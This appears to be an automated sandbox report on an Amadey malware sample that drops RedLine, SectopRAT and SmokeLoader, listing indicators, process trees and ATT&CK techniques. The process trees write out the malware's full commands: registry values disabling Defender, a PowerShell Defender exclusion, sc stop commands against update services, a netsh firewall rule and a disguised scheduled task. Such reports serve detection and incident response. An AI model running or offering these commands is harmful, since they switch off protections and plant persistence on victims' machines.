amadey | c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	BA00.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	BA00.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	BA00.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	BA00.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	BA00.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	BA00.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral1/memory/780-142-0x0000000000230000-0x000000000028A000-memory.dmp	family_redline
behavioral1/files/0x0006000000018675-159.dat	family_redline
behavioral1/memory/2068-165-0x00000000003C0000-0x00000000003DE000-memory.dmp	family_redline
behavioral1/files/0x0006000000018675-164.dat	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 3 IoCs

resource	yara_rule
behavioral1/files/0x0006000000018675-159.dat	family_sectoprat
behavioral1/memory/2068-165-0x00000000003C0000-0x00000000003DE000-memory.dmp	family_sectoprat
behavioral1/files/0x0006000000018675-164.dat	family_sectoprat

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

pid	Process
2600	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 19 IoCs

pid	Process
2784	ADDC.exe
2752	Yy6ix7Zu.exe
2648	B02E.exe
2368	pW8zs5do.exe
2588	B0EA.bat
2608	Gz5dz5Qg.exe
2884	Wa4nF6kX.exe
1812	B4C2.exe
2888	1Oz18Xi8.exe
1176	BA00.exe
2948	BC71.exe
1332	explothe.exe
1300	E556.exe
780	F34B.exe
2000	9C9.exe
2068	1187.exe
2388	toolspub2.exe
2744	31839b57a4f11171d6abc8bbc4451ee4.exe
1960	source1.exe

Loads dropped DLL 33 IoCs

pid	Process
2784	ADDC.exe
2784	ADDC.exe
2752	Yy6ix7Zu.exe
2752	Yy6ix7Zu.exe
2368	pW8zs5do.exe
2368	pW8zs5do.exe
2580	WerFault.exe
2580	WerFault.exe
2580	WerFault.exe
2580	WerFault.exe
2608	Gz5dz5Qg.exe
2608	Gz5dz5Qg.exe
2884	Wa4nF6kX.exe
2884	Wa4nF6kX.exe
2888	1Oz18Xi8.exe
2860	WerFault.exe
2860	WerFault.exe
2860	WerFault.exe
380	WerFault.exe
380	WerFault.exe
380	WerFault.exe
380	WerFault.exe
2860	WerFault.exe
2948	BC71.exe
1300	E556.exe
1300	E556.exe
1984	WerFault.exe
1984	WerFault.exe
1300	sc.exe
1300	sc.exe
1300	sc.exe
1984	WerFault.exe
2388	toolspub2.exe

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	BA00.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	BA00.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	Wa4nF6kX.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	ADDC.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	Yy6ix7Zu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	pW8zs5do.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	Gz5dz5Qg.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1648 set thread context of 2796	1648	c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe	29

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2904	sc.exe
1300	sc.exe
2932	sc.exe
268	sc.exe
996	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
1292	1648	WerFault.exe	27
2580	2648	WerFault.exe	33
2860	1812	WerFault.exe	41
380	2888	WerFault.exe	42
1984	2000	WerFault.exe	66

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
816	schtasks.exe
2848	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2796	AppLaunch.exe
2796	AppLaunch.exe
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2796	AppLaunch.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1228	Process not Found
Token: SeShutdownPrivilege	1228	Process not Found
Token: SeShutdownPrivilege	1228	Process not Found
Token: SeDebugPrivilege	1176	BA00.exe
Token: SeShutdownPrivilege	1228	Process not Found
Token: SeShutdownPrivilege	1228	Process not Found
Token: SeShutdownPrivilege	1228	Process not Found
Token: SeShutdownPrivilege	1228	Process not Found
Token: SeShutdownPrivilege	1228	Process not Found
Token: SeShutdownPrivilege	1228	Process not Found
Token: SeDebugPrivilege	2068	1187.exe
Token: SeShutdownPrivilege	1228	Process not Found
Token: SeDebugPrivilege	1960	source1.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1648 wrote to memory of 2796	1648	c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe	29
PID 1648 wrote to memory of 2796	1648	c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe	29
PID 1648 wrote to memory of 2796	1648	c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe	29
PID 1648 wrote to memory of 2796	1648	c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe	29
PID 1648 wrote to memory of 2796	1648	c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe	29
PID 1648 wrote to memory of 2796	1648	c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe	29
PID 1648 wrote to memory of 2796	1648	c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe	29
PID 1648 wrote to memory of 2796	1648	c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe	29
PID 1648 wrote to memory of 2796	1648	c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe	29
PID 1648 wrote to memory of 2796	1648	c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe	29
PID 1648 wrote to memory of 1292	1648	c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe	30
PID 1648 wrote to memory of 1292	1648	c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe	30
PID 1648 wrote to memory of 1292	1648	c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe	30
PID 1648 wrote to memory of 1292	1648	c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe	30
PID 1228 wrote to memory of 2784	1228	Process not Found	31
PID 1228 wrote to memory of 2784	1228	Process not Found	31
PID 1228 wrote to memory of 2784	1228	Process not Found	31
PID 1228 wrote to memory of 2784	1228	Process not Found	31
PID 1228 wrote to memory of 2784	1228	Process not Found	31
PID 1228 wrote to memory of 2784	1228	Process not Found	31
PID 1228 wrote to memory of 2784	1228	Process not Found	31
PID 2784 wrote to memory of 2752	2784	ADDC.exe	32
PID 2784 wrote to memory of 2752	2784	ADDC.exe	32
PID 2784 wrote to memory of 2752	2784	ADDC.exe	32
PID 2784 wrote to memory of 2752	2784	ADDC.exe	32
PID 2784 wrote to memory of 2752	2784	ADDC.exe	32
PID 2784 wrote to memory of 2752	2784	ADDC.exe	32
PID 2784 wrote to memory of 2752	2784	ADDC.exe	32
PID 1228 wrote to memory of 2648	1228	Process not Found	33
PID 1228 wrote to memory of 2648	1228	Process not Found	33
PID 1228 wrote to memory of 2648	1228	Process not Found	33
PID 1228 wrote to memory of 2648	1228	Process not Found	33
PID 2752 wrote to memory of 2368	2752	Yy6ix7Zu.exe	35
PID 2752 wrote to memory of 2368	2752	Yy6ix7Zu.exe	35
PID 2752 wrote to memory of 2368	2752	Yy6ix7Zu.exe	35
PID 2752 wrote to memory of 2368	2752	Yy6ix7Zu.exe	35
PID 2752 wrote to memory of 2368	2752	Yy6ix7Zu.exe	35
PID 2752 wrote to memory of 2368	2752	Yy6ix7Zu.exe	35
PID 2752 wrote to memory of 2368	2752	Yy6ix7Zu.exe	35
PID 1228 wrote to memory of 2588	1228	Process not Found	34
PID 1228 wrote to memory of 2588	1228	Process not Found	34
PID 1228 wrote to memory of 2588	1228	Process not Found	34
PID 1228 wrote to memory of 2588	1228	Process not Found	34
PID 2368 wrote to memory of 2608	2368	pW8zs5do.exe	36
PID 2368 wrote to memory of 2608	2368	pW8zs5do.exe	36
PID 2368 wrote to memory of 2608	2368	pW8zs5do.exe	36
PID 2368 wrote to memory of 2608	2368	pW8zs5do.exe	36
PID 2368 wrote to memory of 2608	2368	pW8zs5do.exe	36
PID 2368 wrote to memory of 2608	2368	pW8zs5do.exe	36
PID 2368 wrote to memory of 2608	2368	pW8zs5do.exe	36
PID 2648 wrote to memory of 2580	2648	B02E.exe	37
PID 2648 wrote to memory of 2580	2648	B02E.exe	37
PID 2648 wrote to memory of 2580	2648	B02E.exe	37
PID 2648 wrote to memory of 2580	2648	B02E.exe	37
PID 2588 wrote to memory of 2512	2588	B0EA.bat	38
PID 2588 wrote to memory of 2512	2588	B0EA.bat	38
PID 2588 wrote to memory of 2512	2588	B0EA.bat	38
PID 2588 wrote to memory of 2512	2588	B0EA.bat	38
PID 2608 wrote to memory of 2884	2608	Gz5dz5Qg.exe	40
PID 2608 wrote to memory of 2884	2608	Gz5dz5Qg.exe	40
PID 2608 wrote to memory of 2884	2608	Gz5dz5Qg.exe	40
PID 2608 wrote to memory of 2884	2608	Gz5dz5Qg.exe	40
PID 2608 wrote to memory of 2884	2608	Gz5dz5Qg.exe	40
PID 2608 wrote to memory of 2884	2608	Gz5dz5Qg.exe	40

C:\Users\Admin\AppData\Local\Temp\c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe
"C:\Users\Admin\AppData\Local\Temp\c9401f3af4e3a346384dc341d1dbe3ae64e8c7cd1b1fae51558531393e8b0dfe.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1648
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2796
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1648 -s 76
  2⤵
  - Program crash
  PID:1292

C:\Users\Admin\AppData\Local\Temp\ADDC.exe
C:\Users\Admin\AppData\Local\Temp\ADDC.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Yy6ix7Zu.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Yy6ix7Zu.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\pW8zs5do.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\pW8zs5do.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:2368
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Gz5dz5Qg.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Gz5dz5Qg.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:2608
    - - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Wa4nF6kX.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Wa4nF6kX.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        
        PID:2884
      - C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Oz18Xi8.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Oz18Xi8.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2888
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2888 -s 280
        7⤵
        Loads dropped DLL
        Program crash
        
        PID:380

C:\Users\Admin\AppData\Local\Temp\B02E.exe
C:\Users\Admin\AppData\Local\Temp\B02E.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2648 -s 132
  2⤵
  - Loads dropped DLL
  - Program crash
  PID:2580

C:\Users\Admin\AppData\Local\Temp\B0EA.bat
"C:\Users\Admin\AppData\Local\Temp\B0EA.bat"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2588
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B27D.tmp\B27E.tmp\B27F.bat C:\Users\Admin\AppData\Local\Temp\B0EA.bat"
  2⤵
  PID:2512

C:\Users\Admin\AppData\Local\Temp\B4C2.exe
C:\Users\Admin\AppData\Local\Temp\B4C2.exe
1⤵
- Executes dropped EXE
PID:1812
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 132
  2⤵
  - Loads dropped DLL
  - Program crash
  PID:2860

C:\Users\Admin\AppData\Local\Temp\BA00.exe
C:\Users\Admin\AppData\Local\Temp\BA00.exe
1⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:1176

C:\Users\Admin\AppData\Local\Temp\BC71.exe
C:\Users\Admin\AppData\Local\Temp\BC71.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2948
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
  2⤵
  - Executes dropped EXE
  PID:1332
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:816
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
    3⤵
    PID:2324
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "explothe.exe" /P "Admin:N"
      4⤵
      PID:1540
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "explothe.exe" /P "Admin:R" /E
      4⤵
      PID:1892
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:2172
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:2456
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\fefffe8cea" /P "Admin:N"
      4⤵
      PID:3064
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\fefffe8cea" /P "Admin:R" /E
      4⤵
      PID:2256
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
    3⤵
    PID:2204

C:\Users\Admin\AppData\Local\Temp\E556.exe
C:\Users\Admin\AppData\Local\Temp\E556.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1300
- C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
  "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2388
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    PID:2548
- C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
  "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
  2⤵
  - Executes dropped EXE
  PID:2744
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    PID:268
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
      4⤵
      PID:388
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:2600
- C:\Users\Admin\AppData\Local\Temp\source1.exe
  "C:\Users\Admin\AppData\Local\Temp\source1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1960
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    PID:2652
- C:\Users\Admin\AppData\Local\Temp\latestX.exe
  "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
  2⤵
  PID:1596

C:\Users\Admin\AppData\Local\Temp\F34B.exe
C:\Users\Admin\AppData\Local\Temp\F34B.exe
1⤵
- Executes dropped EXE
PID:780

C:\Users\Admin\AppData\Local\Temp\9C9.exe
C:\Users\Admin\AppData\Local\Temp\9C9.exe
1⤵
- Executes dropped EXE
PID:2000
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 512
  2⤵
  - Loads dropped DLL
  - Program crash
  PID:1984

C:\Users\Admin\AppData\Local\Temp\1187.exe
C:\Users\Admin\AppData\Local\Temp\1187.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2068

C:\Windows\system32\taskeng.exe
taskeng.exe {C883EFC8-379C-4683-8486-3F102067BB8E} S-1-5-21-3849525425-30183055-657688904-1000:KGPMNUDG\Admin:Interactive:[1]
1⤵
PID:1656
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  2⤵
  PID:1564
- C:\Users\Admin\AppData\Roaming\higtfii
  C:\Users\Admin\AppData\Roaming\higtfii
  2⤵
  PID:1380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:1052

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:1044
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Loads dropped DLL
  - Launches sc.exe
  PID:1300
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2932
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:268
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:996
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:2904

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:1592
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
  2⤵
  - Creates scheduled task(s)
  PID:2848

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:1652
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:2416
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:3008
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:1304
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:388

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:1684

C:\Windows\system32\taskeng.exe
taskeng.exe {30B6F646-26BB-4D8A-813B-A36D26457080} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:940
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  PID:1412

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231011052044.log C:\Windows\Logs\CBS\CbsPersist_20231011052044.cab
1⤵
PID:2792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry